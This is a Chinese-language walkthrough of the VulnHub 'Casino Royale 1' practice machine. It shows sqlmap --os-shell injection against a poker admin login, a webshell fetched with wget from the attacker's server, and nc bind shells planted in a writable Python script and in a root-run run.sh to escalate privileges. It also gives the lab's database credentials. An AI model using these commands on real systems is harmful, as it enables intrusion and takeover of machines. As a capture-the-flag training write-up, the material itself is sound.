难度:

Intermediate

关于:

Will you gain your status as a 00 agent?

题目地址:https://www.vulnhub.com/entry/casino-royale-1,287/#

Flags:

您的目标是获取root和Flag is /root/flag/flag.sh

Write Up:

0x01 获取root

1.通过nmap扫描靶机端口版本,发现存在四个端口:21、25、80、8081 nmap -sV x.x.x.x

2.我们从80端口入手,首先查看网页的源代码并无发现线索,其次对80端口进行目录爆破找到一个phpmyadmin的登陆页面和一个install dirb [url]

3.我们开打install页面出现这样一个界面,点击cliek to start install 后页面报错

4.存在install页面说明网站肯定存在这个cms,我们查找相关cms版本信息并获取到源代码且存在一个exp漏洞

5.翻开源代码后台路径是pokeradmin,并且发现登陆处并且未做sql注入防护

6.直接使用sqlmap跑取账户密码后getshell sqlmap.py -u 'http://192.168.235.140:80/pokeradmin/' --data='op=adminlogin&username=admin&password=admin' --level=5 --risk=3 --os-shell

7.将kali开一个apache把一句话放在/var/www/html中,然后在靶机的shell中运行wget

8.打开中国蚁剑或中国菜刀(效果是一样的)配置如下

9.getshell后我们先将数据库的账户密码保存下来 valenka:11archives11!

10.在一段查看后没有发现有价值的信息,查看8081端口,主页面有一个Run Data Collect的按钮,点击后访问到collect.php

11.因为我们已经拿到www-data的权限了所以我们可以通过find来查找collect.php,找到8081端口的主目录在/opt/casino-royale/ find / -name [name]

12.进入8081端口主目录后查看文件权限

13.查看权限后发现只有casino-data-collection.py这个文件我可以修改,cat查看文件内容,python文件打开了user-data.log继续查看里面内容与collect.php内容一样

14.继续查看collect.php,基本了解程序大概的过程和出题人的思路,collect.php为root权限只可读所以不能更改但是执行的casino-data-collection.py为www-data组所以可以修改,而casino-data-collection.py打开了user-data.log所以php读到了log的内容,所以我们只要修改python文件即可获取到le的权限 解题思路:在python文件中通过os模块执行系统命令返回nc拿到le权限

15.修改python后,再在浏览器重新打开页面靶机会开启一个带bash的1111端口,使用攻击机的nc连接,获取到le的权限

16.但是这是一个半交互式的页面无法切换账户,通过查阅资料可以通过python调用本地shell

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py

python /tmp/asdf.py

17.在获取到le的交互式shell后尝试第九步中valenka的账户密码登录。成功登陆但是先切回le,exit退出 valenka:11archives11!

18.查看run.sh,并尝试运行mi6_detect_test这个程序,发现与run.sh中的内容相同,我猜测mi6_detect_test就是将run.sh运行

18.mi6_detect_test为root所以我们通过echo命令把后门写入run.sh在运行mi6既可获取到root权限 echo "nc -lvvp 1234 -t -e /bin/bash" >> run.sh

19.成功监听端口,攻击机nc连接靶机,并getflag

难点总结: 1.python半交互式切换到全交互式 2.mi6_detect_test和run.sh程序的关联 3.理清这几个程序之间的关系 4.无法通过内核漏洞提权